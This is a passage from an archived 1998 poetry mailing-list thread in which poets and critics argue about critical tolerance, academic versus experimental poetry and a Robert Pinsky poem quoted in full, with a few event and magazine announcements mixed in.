Anyway having gotten hopelessly sidetracked, let me quickly sum up what i wanted to say bouncing off of Mark W.'s first paragraph above: he points to one of the real confusions we all fall into (including me): we say *academic poetry,* and are refering to the niche within the academy of the writing-workshop phenomenon; people often express incredulity and confusion, because the theorists they know in lit. departments are into postmodernist trends, and this seems closer to the "experimental" stream of poetry than to the "neo-New Yorker" one. But the economic/social/cultural locus of "workshop" poetry is *in* the academic world, even though (from the point of view of post-Derrideans in literature and other depts) it is not *of* it. This tension has been pointed to by Perelman, Silliman, Perloff and others in passing in various places. So i'm not saying anything new. But it helps to keep this odd anomaly in mind, when someone starts tossing around "academic" to refer to workshop (or, as Mark so sharply puts it, New Yorker) poetry.

markedly,
Mark (p.)

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737. **Judy Roitman**

Re: Perloff & The Rubicon of Stupidity

Mon 23 Nov 1998

(from Gabriel Gudding):

> *3). There are two kinds of critics: those who pave the way for Authors and those who pave the way for Anthologists. Jorie Perloff, in her advocacy of THE IMPORTANT, proves herself, like Vendler and Bloom, to be one of the latter.*

This is hard to take. Have you ever actually _read_ Perloff? She ain't no Vendler or Bloom.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code

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http://www.math.ukans.edu/~roitman/

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738. Gabriel Gudding
Toleration & The Polyanthos
Mon 23 Nov 1998

The excerpt below (from a piece entitled "New Art of Criticism") is taken from the August 1809 issue of The Polyanthos, an American journal. It's a tongue-in-cheek article supposedly written by Henry Brooke.

The kind of poetry written during that age -- an age of heavy critical intolerance -- was awful. Whenever strictures are placed on a community of writers, the writing suffers.

Much of the off-hand commentary on this list, unfortunately, follows the dictum in the first sentence below. Defining oneself and one's writing as "not that" is rather too hippy-ish for my tastes: some hippy vibes coming of this list at times. One of the reasons so much of language poetry has been so famously B=A=D is it's violent refusal to be anything _but_ oppositional.

"RULE I. Find fault, at first sight, with every thing that is published. This is the first and fundamental rule of all good criticism; and is itself founded upon solid reasons. For, 1st. It is ten to one but you are in the right; there being at least ten bad productions published every day, for one good one.

2dly. Because finding fault implies a plain superiority of genius....Claim boldly, then, for criticism hath, in this respect, some resemblence to calumny; and, indeed, it is so like it, in some hands, that none can adept distinguish them; and you know the rule, calumniare fortiter (in English criticise boldly).... It is a clear consequence from this rule, you should always censure those works most, which are thought most to excel....

RULE III. ÒIf your own authority is not sufficient to quell opposition, and carry your point; why then, two or three of you join forces, and call yourselves the WORLD -- and the work is done....[A] critic is a judge; and everyone knows, the business of a judge is, not to draw up pleadings, but to pronounce sentence."

-- Guttapercha Bunsen

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739. Poetry Project
Dan Featherston
Mon 23 Nov 1998

Anyone who can privately send me Dan Featherston's e-mail address will forever occupy a warm chamber of my heart. -- Anselm Berrigan

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740. Mark Prejsnar
Gabriel Gudding is WRONG
Mon 23 Nov 1998

> *The kind of poetry written during that age -- an age of heavy critical intolerance -- was awful. Whenever strictures are placed on a community of writers, the writing suffers.*

That's the silliest thing i've ever heard....."Critical intolerance" in the sense for which Marjorie and Peter are arguing, has and can have nothing whatever to do with producing "awful poetry"

As they suggest, lack of passionate commitment produces "awful poetry" (though it has other causes too).

i'm glad for the occasion to use this header, though.

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741. Gabriel Gudding
Mark Prejsnar is a Crumbcake
Mon 23 Nov 1998

On Mon, 23 Nov 1998, Mark Prejsnar wrote:

> *The kind of poetry written during that age -- an age of heavy critical intolerance -- was awful. Whenever strictures are placed on a community of writers, the writing suffers.*
>
> *That's the silliest thing i've ever heard....."Critical intolerance" in the sense for which Marjorie and Peter are arguing, has and can have nothing whatever to do with producing "awful poetry"*

Mark, I appreciate the heavy-handed comeback (thank st peter someone else out there knows how to assert a statement with rabidity), and I know that I'm dealing with some very old and timeworn ideas about the role btw poetry and

criticism (most of the ideas, remember, promulgated by critics), but THE HISTORY JUST DOESN'T SUPPORT YOUR ASSERTIONS.

> *As they suggest, lack of passionate commitment produces "awful poetry" (though it has other causes too).*

Marjorie Perloff asked me why I called her assertions "romantic" and you can see now why I did so: because rhetoric like yours is nearly always applied in lieu of serious historical work: "passionate commitment" indeed.

> *i'm glad for the occasion to use this header, though.*

So am I: that was fun. Love you, --Guttapercha

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742. Henry Gould
yarn tolerance chart
Mon 23 Nov 1998

This simple chart can be used by poets and critics for quick positioning of good and bad poets and avoidance of embarrassing passion (ie. "the worst are full of passionate conviction" - Yeats).

MAINSTREAM - ALTERNATIVE - UNREAD

BODY - SHADOW - SOUL

The chart can be utilized in either the anterior or posterior mode, ie. "Robert Pinsky" can be placed in the mainstream/body position either before or after the critic has chosen a position, and either before or after the critic has actually read the work. In the case of the latter the resulting critique will produce more heat than light, and vice versa; the choice of the CRITIC position usually regulates the overall smoke level. Eric Blarnes, in an unpublished monograph entitled "The Wye of Criticism : How to Reed without Bellowing through a Horn", calls on critics to ply their craft from the Unread/Soul position, as this mode of quietude often allows for a more thorough & discerning Exhumation of the Work at Hand.

I have no particular axe to grind in that regard. Nevertheless one might surmise a diminution of critical aptitude & acuity in the unworldly and supra-mellow precincts of small beer and large potatoes habitued by our dear friend Prof. Blarnes, mightn't one? Eh?

- Henry Gould

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743. **Mark Prejsnar**
Re: Mark Prejsnar is a Crumbcake
Mon 23 Nov 1998

> *Marjorie Perloff asked me why I called her assertions "romantic" and you can see now why I did so: because rhetoric like yours is nearly always applied in lieu of serious historical work: "passionate commitment" indeed.*

Serious historical work????

Haven't seen any yet...

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744. **Mark Weiss**
Pinsky
Mon 23 Nov 1998

Here's a poem of Pinsky's from the NYRB for Oct 22.

PROLOGUE: FOR A STAGE PRESENTATION OF THE INFERNO

To go into it: in the declivity
At the center of Hell
Furthest from the light,
Knotted in ice the Beast himself weeping.

Misery of cold, treachery of dark, agony
Of sin, bottomless sorrow of evil:
Not punishment, but the agony of rage unspent.

To go into it: sorrow of revenge
Never sufficient, extravagant.

Bottomless agony of the self-wounded
Soul in self-extinction.

Treacherous soul.

To go into it
The pilgrim becomes the voice of the sinners.
The reader's voice becomes the pilgrim's
As the pilgrim becomes the writer.

To go into it--grappling at the ice-matted
Flank of the Beast, to bring
Sorrow to light.

Unreadable
Body of losses.

To go into it and through it
Or to go into it and never
Through it.

Withdrawal from the world of light.

To go into it to go through it: agony
Of despair, hand in the dark
Plucking at the knot that
The same hand tied
In the light.

What was Charles Alexander's phrase in his wise and temperate post? This disinclines me to look further at the man's work. For one, as I think anyone who's read Dante, or for that matter almost any medieval religious work, this is the Cliff Notes version--true as far as it goes, but the most obvious possible commentary. The core of Catholicism then and now is that one makes one's own fate. The light/dark imagery also involves no discovery--it's the core of Dante's imagery, and self-consciously so. So what's left? Sorrow, agony, loss, sorrow, agony, loss, repeated agonizingly, and never concretized, so that we're asked to feel empathy for abstractions.

This whole exercise appears to be at the service of setting up the revelation in the last four lines, which is at best a piece of slight cleverness that also advances understanding, whether of Dante, or Pinsky, or poor humanity, or poetry, not a whit. But worse--there's every indicatiion in the poem that Pinsky knew the end, shallow as it is, before he sat down to write. And for me this is the desideratum, the line in the sand. For me poetry is only poetry if it's an act of discovery (and there are many kinds of discovery, some linguistic or formal and some psychological or political), not a recitation of the given.

This is not a question, Gudding, of defining oneself in opposition. The non-"experimental" in the sense defined above is simply irrelevant.

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745. **Judy Roitman**
Re: Pinsky
Mon 23 Nov 1998

---

from Pinsky in NYRB:

> *Unreadable*
> *Body of losses.*

Mr. P. says it for us, doesn't he.

> *But worse--there's every*
> *indicatiion in the poem that Pinsky knew the end, shallow as it is, before he sat down to write. And for me this is the desideratum, the line in the sand. For me poetry is only poetry if it's an act of discovery (and there are many kinds of discovery, some linguistic or formal and some psychological or political), not a recitation of the given.*

Bravo, Mark Weiss.

Live words vs. dead words. That's the issue.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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746. MAXINE CHERNOFF
Re: Gabriel Gudding is WRONG
Mon 23 Nov 1998

Dear Listees: I have a feeling that those who produce "awful poetry" produce it with the same passion as those who produce wonderful poetry. When we imagine "the other" (assuming our poetry isn't awwful), it's always easier to ascribe baser values and more shallow motives to them. What's actually true and even more troubling is their firm commitment to the "aesthetic" they've accepted. Whether it's an articulated or implied aesthetic is immaterial. So the progressive notion that somehow we can educate them through "tolerance" mainly isn't true. Of course, some people change their direction in writing, undergo a conversion, as it were, but to imagine that someone who appreciates Rita Dove will be convinced by gentle coaxing or close reading to see the higher goals of Susan Howe? A possible but not probable scenario.

I wonder, however, if Marjorie's initial post had something of this sort unstated in it: "they" show little, if any, tolerance for us, so why are "we" suffering their presence in our sphere (this list, our work-related poetry activity, our own

criticism and writing). If you examine the list of laureates, Guggenheims, major prizes, it's obvious "they're" winning. It's their figures who determine what gets discussed in most venues where something called "poetry" is the topic. Meanwhile, the "other Tradition," which we know to be the one of value, creates an enormous and vital life of its own-- here, in major poetry cities, at certain universities, with a number of presses committed to its writers.

Maybe then, the discussion should be, to paraphrase Raymond Carver, what they talk about when they talk about "poetry," which is a cultural issue, a media issue, an issue of who "they" are vs. who we are.

Maxine Chernoff

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747. **MAYHEW**

Re: Toleration & The Polyanthos

Mon 23 Nov 1998

I propose you add the following rule: never forget to discount whole areas of writing by asserting, in passing, "one of the reasons so much of X school is so famously bad, is that..." After all, you are likely to be right--much work of any category is likely not be be excellent. At the same time, you will give the mistaken impression that you have actually done a statistical study of how much poetry written under the rubric of a particular label is bad.

I see there is a message just posted saying Gabriel Gudding is wrong so I will now sign off to read it.

On Mon, 23 Nov 1998, Gabriel Gudding wrote:

> *The excerpt below (from a piece entitled "New Art of Criticism") is taken from the August 1809 issue of The Polyanthos, an American journal. It's a tongue-in-cheek article supposedly written by Henry Brooke.*
>
> *The kind of poetry written during that age -- an age of heavy critical intolerance -- was awful. Whenever strictures are placed on a community of writers, the writing suffers.*
>
> *Much of the off-hand commentary on this list, unfortunately, follows the dictum in the first sentence below. Defining oneself and one's writing as "not that" is rather too hippy-ish for my tastes: some hippy vibes coming of this list at times. One of the reasons so much of language poetry has been so famously B=A=D is it's violent refusal to be anything _but_ oppositional.*
>
> *"RULE I. Find fault, at first sight, with every thing that is published. This is the first and fundamental rule of all good criticism; and is*

> *itself founded upon solid reasons. For, 1st. It is ten to one but you are in the right; there being at least ten bad productions published every day, for one good one.*
>
> *2dly. Because finding fault implies a plain superiority of genius....Claim boldly, then, for criticism hath, in this respect, some resemblence to calumny; and, indeed, it is so like it, in some hands, that none can adept distinguish them; and you know the rule, calumniare fortiter (in English criticise boldly)....*
> *It is a clear consequence from this rule, you should always censure those works most, which are thought most to excel....*
>
> *RULE III. ÒIf your own authority is not sufficient to quell opposition, and carry your point; why then, two or three of you join forces, and call yourselves the WORLD -- and the work is done....[A] critic is a judge; and everyone knows, the business of a judge is, not to draw up pleadings, but to pronounce sentence.*"
>
> *-- Guttapercha Bunsen*

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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748. **Michael Magee**
Re: Pinsky
Mon 23 Nov 1998

Evidentally Mr. Pinsky missed Pound's admonitions against abstraction. He's just short of invoking "dim lands of peace..." -m.

According to Mark Weiss:
>
> Here's a poem of Pinsky's from the NYRB for Oct 22.
>
> Misery of cold, treachery of dark, agony
> Of sin, bottomless sorrow of evil:

> *the agony of rage unspent.*
>
> *sorrow of revenge*

> *Bottomless agony of the self-wounded*
> *Soul in self-extinction.*
>
> *agony*
> *Of despair>*

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749. **MAYHEW**
Re: Pinsky
Mon 23 Nov 1998

Good point MM:

I honestly thought this poem was Mark's parody when I first read it, but when when I looked more closely and saw that it was in the New York Review of Books I realized it had to be for real. It's curious how a certain "poetic" diction has made a big comeback amoung our Laureates. The agony of rage unspent indeed! Again, the point is not that such patently bad (in this case not merely middling) writing exists, but that it is celebrated in prestigious journals.

On Mon, 23 Nov 1998, Michael Magee wrote:

> *Evidentally Mr. Pinsky missed Pound's admonitions against abstraction.*
> *He's just short of invoking "dim lands of peace..." -m.*
>
> *According to Mark Weiss:*
>
> *Here's a poem of Pinsky's from the NYRB for Oct 22.*
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> *Soul in self-extinction.*
>
> *agony*
> *Of despair>*

Jonathan Mayhew
Department of Spanish and Portuguese

University of Kansas
[redacted]

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750. **Hilton Manfred Obenzinger**
Re: Pinsky
Mon 23 Nov 1998

I've been bemused reading the storm over Pinsky and tolerance and the rest. First of all, I like Cliff Notes, and this aint Cliff. A Cliff Notes poem about the Inferno would be wonderful. The worst thing Ted Berrigan could say about a poem was that it was boring: this poem is boring. But maybe I'm not tolerant, and it's actually very interesting, moving, linguistically zappy. Maybe this is my taste -- and there is room for different poetries. Tolerance is not the best word in this regard; perhaps multiplicity. Certainly, I'm not interested in skewering the poem -- it's just that if Mark Weiss hadn't inserted it into this discussion I probably would never have gotten to the end of it. I do like close reading -- it's one of the great pleasures -- and I was almost tempted to say, "What other kind of reading is there?" But then I thought of distant skimming, intimate misreading, stand-offish decoding, and other pleasures I enjoy almost as much as, sometimes more than, close reading. Does this mean I establish a "school?" Marjorie Perloff is right that passionate response, discriminating taste, aesthetic chutzpah are positive; others are right that small-minded fault-finding and in-group/out-group nastiness are negative: unfortunately, so many poets and critics confuse the two. Critical and social intolerance are not entirely identitcal -- and, as David Kellog pointed out, in many circumstances I wouldn't mind being tolerated. In literature, the only thing I can't tolerate is indifference -- and so this Pinsky poem leaves me indifferent -- and intolerant.

Hilton Obenzinger

On Mon, 23 Nov 1998, Mark Weiss wrote:

> *Here's a poem of Pinsky's from the NYRB for Oct 22.*
>
> *PROLOGUE: FOR A STAGE PRESENTATION OF THE INFERNO*
>
> *To go into it: in the declivity*
> *At the center of Hell*
> *Furthest from the light,*
> *Knotted in ice the Beast himself weeping.*
>
> *Misery of cold, treachery of dark, agony*

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Not punishment, but the agony of rage unspent.

To go into it: sorrow of revenge
Never sufficient, extravagant.

Bottomless agony of the self-wounded
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Treacherous soul.

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As the pilgrim becomes the writer.

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Flank of the Beast, to bring
Sorrow to light.

Unreadable
Body of losses.

To go into it and through it
Or to go into it and never
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Withdrawal from the world of light.

To go into it to go through it: agony
Of despair, hand in the dark
Plucking at the knot that
The same hand tied
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What was Charles Alexander's phrase in his wise and temperate post? This disinclines me to look further at the man's work. For one, as I think anyone who's read Dante, or for that matter almost any medieval religious work, this is the Cliff Notes version--true as far as it goes, but the most obvious possible commentary. The core of Catholicism then and now is that one makes one's own fate. The light/dark imagery also involves no discovery--it's the core of Dante's imagery, and self-consciously so. So what's left? Sorrow, agony, loss, sorrow, agony, loss, repeated agonizingly, and never concretized, so that we're asked to feel empathy for abstractions.

> *This whole exercise appears to be at the service of setting up the revelation in the last four lines, which is at best a piece of slight cleverness that also advances understanding, whether of Dante, or Pinsky, or poor humanity, or poetry, not a whit. But worse--there's every indicatiion in the poem that Pinsky knew the end, shallow as it is, before he sat down to write. And for me this is the desideratum, the line in the sand. For me poetry is only poetry if it's an act of discovery (and there are many kinds of discovery, some linguistic or formal and some psychological or political), not a recitation of the given.*
>
> *This is not a question, Gudding, of defining oneself in opposition. The non-"experimental" in the sense defined above is simply irrelevant.*

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751. **A. Jenn Sondheim**
Re: Pinsky
Mon 23 Nov 1998

A question here - Who _does_ like Pinsky? What are the demographics? What do they say? What is the laureate-function at work? And given the func- tions and institutions and critical apparatus which has singled him out - what can we say about these? That they have less critical acumen? That they prefer simpler and safer writing, more conservative writing? That they are culturally-dysfunctional in one or another sense?

I'm not asking these questions out of ignorance or the desire to defend - I don't defend in fact. But I think there are other and overlooked con- texts (perhaps?) that are critical, themselves (perhaps?) to the discus- sion. For quite simply, if _x_ is bored with Pinsky, who is _not?_

Alan

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752. **Gabriel Gudding**
Re: Guttapercha Bunsen is a Ninny
Mon 23 Nov 1998

Judy R. & Mark P.,

1). I believe I have been mistaken for a serious person.

2). Have I read Marjorie Perloff?: not a paragraph!

3). I feel like the old mean catapult who was abandoned on the pointy hill.

4). Rambo come
to me, Chuck Norris

come.
Mad Max
I say come to me: Samson
in Gaza, eyeless,
come -- with long hair -- to me

and bring thy jawbone so useful.
Bruce Lee
where art thou Jackie Chan
I need thy skinny justice.

5). The next time I offer my services as an agent provacateur, I'm charging.

6). It was nice to be among the billyclubs again.

Warmly, GB

(ps: yes of course I have read Perloff and I always enjoy doing so.)

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753. **Henry Gould**
Guttapercha Bunsen is RIGHT
Mon 23 Nov 1998

Who wants to be the receiver of received opinions? Who wants to go into receivership? The only criteria for criticism is informed intelligence. Andrey Gritsman, at the Translation conference, argued that you cannot even begin to understand a poet in a foreign language until you immerse yourself as much as possible in the sensibility and the bio-historical literary background of what you're reading. This goes for reading any poetry. Does this mean everybody has to become a jumpin' mandarin? NO!!!! You & you & you too & me too are perfectly free to make snap conclusions based on a brief whiff of 2 lines of a poem - what is literature all about if not that? But don't call it CRITICISM. I could plop down a juicy poem of Howesky that would sound just as turrible as Pinsky if I had her books handy, but that's too damn EASY. Oh Lordy set us free from these narrows & shallows!! Bring on the big frigates, bring on the men o'war & the women o'war, bring on the Spanish galleons & the sloops & trawlers while You're at it! But nay, thou shalt not call the tinny piping of the post-pinsky faction CRITICISM!!! Oh, bloody not mine ears with the little clubs of aren't-we-so-great alternativos once again!!! Oh the windy self-righteous snores of it all!!! Somebody with an ear for Poetry, hey! - Henry Gould

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754. **Tom Beard**
Re: Pinsky
Mon 23 Nov 1998

Wow, I'd assumed that Pinsky was old and distinguished, but he's apparently a 17-year-old who listens to a lot of Marilyn Manson and The Cure:

self-woundedSoulself-extinctionTreacheroussoul.
despairdarkPluckingknottiedlight.

Does he wear black mascara?

Tom Beard.

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755. **Elizabeth Treadwell**
Debbie AN EPIC
Mon 23 Nov 1998

Thank you Wendy for the breathless information. Where who how can I find it?

Debbie by Lisa Robertson.

Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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756. **MAYHEW**
Re: Guttapercha Bunsen is RIGHT
Mon 23 Nov 1998

But Henry, this poem is written in English and we are all all too familiar with its diction, its tone, its devices, its rhetoric. I have read hundreds of poems of this ilk over the past 25 years or so. That it takes about 10 seconds to render a judgment about Pinksy's poem does not mean that it is a superficial judgment--it could be the product of years of experience. It's like hearing an out of tune piano--you don't have to think about it for hours to know it's out of tune, do you?

We are all somewhat schooled in a certain mainstream tradition just because it is mainstream, in a way that mainstream people are not schooled in the avant-garde. I could even tell you why someone would think this is a good poem, coming out of this tradition, and its not because of its heavy metal imagery either!

Jonathan

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757. **Michael Magee**
Re: Pinsky
Mon 23 Nov 1998

I feel like I might have something useful to say here re "who reads Pinsky" though whether it'll shed light I'm not sure. I'm someone who didn't grow up with a sense of allegiance to experimental writing, so I read a lot of stuff: Edward Hirsch, Dave Smith, Robert Haas, things like that - lot's of it, and I read it carefully and generally liked it. I will still argue that folks like Elizabeth Bishop and Robert Lowell should be read w/ care and not dismissed, that this exercise pays off whether one decides they "like" the poems or not. So, what does this have to do with little Bobby Pinsky? well, one way to approach it would be through the metaphor of deterioration: say what you want about classic list nemeses like Lowell (or even Eliot): they were smart and rigorous and wanted to say something important; I think the tradition that claimed Lowell (that claimed Life Studies for the most part) was full of people who, for whatever reason, took the easy way out - by which I mean, they got the gist of it and then used the tradition as self-validation to write a lot of very self-indulgent and innocuous poems. Sometimes they'll even write a pretty good poem, as Hirsch's poem "The Abortion (1969)" is: that poem turns the confessional conceit on its head by telling a very "private" story of an abortion and then revealing that the young woman had never been pregnant, that the two teenagers involved had made some diagnostic screwup, which renders the confessional moment both bathetic and awful.

I'm digressing now so I'll just say this: whether Hirsch's poem is "good" is really neither here nor there b/c his *attititude* towards "poetry" remains constant - there is always the sense that he knows exactly WHAT A POEM *IS*. Pinsky, in the poem we've been discussing, is a good deal worse: he shares Hirsch's attitude and writes a really bad poem to boot. So again, to circle back, why read Pinsky? Well, for many young readers, one reads Pinsky because he's there: and more precisely, because Perelman and Mullen and Lauterbach and Mackey and the gang are *not* there. I can honestly say these latter writers DID NOT EXIST at my undergraduate college - and it would have taken some strange and heroic intervention for me to have been introduced to them before the age of 21. So what you have is Pinsky and you do the best you can (young readers can be quite ingenious in entertaining themselves with bad poetry). Or you do what I eventually did: you say, "wait a minute, one tires of Pinsky a hell of a lot quicker than one tires of Stevens or Williams or Moore or Dickinson;" that's step one; the second step involves dismissing the "there's no *great* poetry anymore, only good poetry" argument and if you don't know any better this is a

very persuasive argument: it encourages you not to look around; but if you're lucky enough to dismiss it then you *do* start to look around and the Pinsky spell is broken! My post-Pinsky discoveries went something like this: Creeley, Neidecker, O'Hara, Ashbery, Perelman, LangPo, Mackey, Mullen, experimental diaspora.

As for the older folks who like Pinsky, well, they *are* Pinsky or resemble him very strongly. And it's a mathematical certainty that Pinsky will like Pinsky 90% of the time.

-m.

According to A. Jenn Sondheim: >
> A question here - Who _does_ like Pinsky? What are the demographics? What
> do they say? What is the laureate-function at work? And given the func-
> tions and institutions and critical apparatus which has singled him out -
> what can we say about these? That they have less critical acumen? That
> they prefer simpler and safer writing, more conservative writing? That
> they are culturally-dysfunctional in one or another sense?
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> I'm not asking these questions out of ignorance or the desire to defend -
> I don't defend in fact. But I think there are other and overlooked con-
> texts (perhaps?) that are critical, themselves (perhaps?) to the discus-
> sion. For quite simply, if _x_ is bored with Pinsky, who is _not?_
>
> Alan
>

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758. **Marjorie Perloff**
Re: enough already!
Mon 23 Nov 1998

Wow--I never expected to unleash such fury! If Gabriel G had paid attention to my first posting, he would have realized that I began by noting that Bob von H and I have just had quite a good dialogue on Howe and Pinsky with interesting pros and cons and I said there that I respected Bob's opinion very much as you'll see when that "dialogue" comes out! In the meantime, nothing like pouncing on the word "tolerance" and giving me the business.

It's becoming tiresome. But I want to correct one thing David Kellogg said which is that "Marjorie separates political from aesthetic tolerance" etc. When the dialogue comes out, David, you'll see that my central caveat about the poem in question ("History of my Heart") is political--specifically, the patronizing

treatment of the mother which I take to be quite sexist and smug. But then David loves to jump to conclusions!

Another caveat I have is about the argument that New Directions, once Norton became its distributor, decided oh hell, might as well publish a new poet like Susan Howe. This is absurd because the issue would be: what new poets did they refuse to publish--a long list, some on this list and many of them women! So why did they prefer Howe? That would take a little bit of investigation, wouldn't it?

What really troubles me is the endless name-calling here. When in doubt, compare Perloff to Bloom and Vendler --not that I mind that comparison since I have a lot of respect for both of them. Instead of taking up the challenge and looking at Pinsky's poetry (or Howe's)--the only person who did was Hilton O in a fabulous posting--we get endless slurs or bravos, etc. etc. It only proves my original point that the discourse has hit a real low! But then I'm afraid I don't know where Gabriel Gudding publishes his interesting commentaries. In what journals do they appear?

xxx
Marjorie

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759. **Mark Weiss**
Re: Guttapercha Bunsen is RIGHT
Mon 23 Nov 1998

At the risk of responding seriously, Henry, why don't you read thru all of Pinsky and post us something really wonderful? Or are you disenclined?

But I doubt you'll find much gold in them hills, and here's why--Susan Howe and everybody else who writes has probably written bad poems (by the way, setting Susan up as the champion of the light is a little unfair. Whoever brought her into this was probably just using her name as a shorthand for the band of angels). But the kind of bad poem that Pinsky published in NYRB is hard to imagine from a poet who was capable of something superbly better. This is not a failed experiment, it's a failure to read with intelligence and a failure of courage and a failure of ambition.

Or maybe it was just an amazingly bad day. And maybe it was another when he decided to push it to so public a venue.

At 04:10 PM 11/23/98 EST, you wrote:
> Who wants to be the receiver of received opinions? Who wants to go into
>receivership? The only criteria for criticism is informed intelligence.
>Andrey Gritsman, at the Translation conference, argued that you cannot

>even begin to understand a poet in a foreign language until you immerse
>yourself as much as possible in the sensibility and the bio-historical
>literary background of what you're reading. This goes for reading any
>poetry. Does this mean everybody has to become a jumpin' mandarin?
>NO!!!! You & you & you too & me too are perfectly free to make snap
>conclusions based on a brief whiff of 2 lines of a poem - what is
>literature all about if not that? But don't call it CRITICISM.
>I could plop down a juicy poem of Howesky that would sound just
>as turrible as Pinsky if I had her books handy, but that's too damn
>EASY. Oh Lordy set us free from these narrows & shallows!!
>Bring on the big frigates, bring on the men o'war & the women o'war,
>bring on the Spanish galleons & the sloops & trawlers while You're at it!
>But nay, thou shalt not call the tinny piping of the post-pinsky
>faction CRITICISM!!! Oh, bloody not mine ears with the little clubs
>of aren't-we-so-great alternativos once again!!! Oh the windy
>self-righteous snores of it all!!! Somebody with an ear for
>Poetry, hey! - Henry Gould
>
>

↑ Index

760. **Angela Szeto**
Bright lights
Mon 23 Nov 1998

Some of the issues raised in the Pinksy/Howe thread have been on my mind for a long time. Particularly the conflict between the gut response and the head response. Sometimes the gut response really isn't the gut -- sometimes it's whatever's been mercilessly drummed into you and impacted by reasonable fear. Trouble enters when you hear of marvelous things about Gertrude Stein, say, or Susan Howe from people you love and respect and you want to see what everyone else sees so badly but old habits keep you on the other side of the window display, looking in at all the bright lights

↑ Index

761. **George Thompson**
Re: Perloff & The Rubicon of Stupidity
Mon 23 Nov 1998

Well, I'm going to leave the barking to Gabriel Gudding, who does it so well, and so full of bite.

I'm interested in poetics, to be sure. But I'm interested in all kinds. Mostly, as some of you know, I'm interested in the really old kinds, Vedic poetics, Homeric poetics, the poetics of Indo-Europeans whose poetry we no longer have but which we in our all-too academic minds reconstruct by means of meticulous comparisons and inter-weavings from long dead languages. Weird stuff, but not quite theoretical.

I'm also interested in the poetics of this list. Sometimes I see a kind of convergence between these old poetics and the "new" ones of this list. I see things new as a result of such convergences. My interest, in both, becomes renewed.

I've been reading Vedic for going on 25 years, and I still don't get it. I get glimpses pf something really different, really unknown to me. So I keep on with it. It is fascinating.

I admit that I am not much interested in Pinsky. I read Pinsky and I get it, more or less, right away. So I lose interest, and move on. Without meaning to offend, however, I find much of the poetry mentioned, advocated, generated, on this list much closer to Pinsky's than what, as a Vedicist, I'm used to. As Charles Alexander politely puts it, there is little there that I'd go back to read again.

After only a little while, disjunctive syntax is not hard to get, after all, and what I wind up seeing inside this poetry is not so very different from what's going inside Pinsky's. The disjunction, the weird loops, the flight from coherence, from narrative, etc., all of it: okay. I like it. But a lot of the time there isn't much in it, as far as I can see.

There are exceptions of course: Howe's, Hannah Weiner's [never heard of her until I joined this list], some others. They remain intriguing after many readings. Yes. More close reading, by all means.

But I think we should all be humble, because in fact we most of us most of the time are not doing anything very interesting.

So the little devil in me says [or is that a little buddha there?].

GT

↑ Index

762. **Keith Tuma**
Re: Pinsky
Mon 23 Nov 1998

> *As for the older folks who like Pinsky, well, they *are* Pinsky or resemble him very strongly. And it's a mathematical certainty that Pinsky will like Pinsky 90% of the time.*

As Marjorie noted in her post before the pack let loose to scramble for the last turd, Robert von Hallberg is an admirer of Pinsky's work and can be quite passionate and intelligent about it. I can assure you that he is not Robert Pinsky. An Explanation of America is a poem I once read with interest for its effort to deploy neo-Horatian and neo-Augustan verse-essayistic modes. I look much less like Robert Pinsky than Robert von Hallberg does. The more recent Pinsky verse--after that book really-- seems to me considerably weaker as well as very different, in mode as well as in its relentless and finally (for me) uninteresting worrying of a thematics of "desire" that I suspect RP took over from his friend Robert Hass. And there are limits to my interest these days in the earlier mode at work in Explanation's post-Vietnam discursiveness, with its perhaps too-resonant closure warring with its nightmare scenarios of nascent reaganism. But it's a book that one might well know whether one decides to hate it or not. Passion requires context and even knowledge.

Before you make a statement such as the one above you might read what von Hallberg has written of Pinsky in his 1984 book on American poetry, which also sympathetically discusses poets such as Creeley, Ashbery, Olson, Dorn, Bishop, Lowell etc. and remains a good study of poetry and nation-building (the emergence of a tone of the center in poetry as well as politics post WWII). Or you might read Pinsky's The Situation of Poetry, which quotes, among others, Bruce Andrews. Then go ahead and lob a few bombs: they'll be taken seriously. Mark Weiss, at least, quoted a (terrible) poem.

I'm with Ron Silliman when he says that he finds it important to read poets in the other so-called camp. There's a funny line, by the way, in one of Ron's books--forget which--about "Merrill's Pinsky." That continuity would be worth considering, Auden behind them both, Pinsky's (early) mode crossed by exposure to Yvor Winters.

It's a strange day when I find myself grateful for Henry Gould. (Hello Henry.)

Perhaps some wit with the venom would help too. Always grateful for that. Sorry not to have any ready today but this discussion is depressing me.

Keith Tuma

↑ Index

763. **Pritchett,Patrick**

Vole in Boulder

Mon 23 Nov 1998

Lisa Jarnot and her band VOLE will perform their new rock opera, "Follow the Sandpiper," this Wednesday, Nov. 25, 7pm, at the Boulder Museum of Contemporary Art.

Y'all come down, y'hear?

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764. Susan Clark

RADDLE MOON 17, some Vancouver writers

Mon 23 Nov 1998

---

hello all,
hope the below is readable. for further information,
please contact Susan Clark at [redacted].

****

Announcing the publication of RADDLE MOON 17
-- dedicated to the memory of Charles Watts --

A special section, "Some Vancouver Writers," with work by : Marie Annharte BAKER, Ted BYRNE, Susan CLARK, Peter CULLEY, Kevin DAVIES, Jeff DERKSEN, Dan FARRELL, Deanna FERGUSON, Maxine GADD, Dorothy Trujillo LUSK, Rob MANERY, Paul MUTTON, Meredith QUARTERMAIN, Lisa ROBERTSON, Nancy SHAW, Christine STEWART, Colin SMITH, Catriona STRANG, Lary TIMEWELL, Melissa WOLSAK.

Work from Quebec, curated by Nicole Brossard :
Cynthia GIRARD, Michael DÉLISLE,
translated by Robert Majzels and Erin Mouré,

New work from :
William FULLER, Jean DAY, Jackson Mac Low,
Gil McElroy and Rae Armantrout

Photograms by Katrine Le Gallou

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in Canada :
individuals, please order through New Star Books, Vancouver:
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[redacted]

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in Britain: through Paul Green, at Spectacular Diseases, 85b London Road, Peterborough, Cambs, England PE2 9BS, or through New Star (VISA accepted)

Erratum: Marie Annharte Baker's name is spelled [consistently] incorrectly throughout the issue as Annehart. Most issues were shipped before this error was noticed and so lack erratum slips. Apologies to Marie.

↑ Index

765. **Susan Clark**
RADDLE MOON price
Mon 23 Nov 1998

Dear all,

I managed to send off our announcement without mentioning the price:

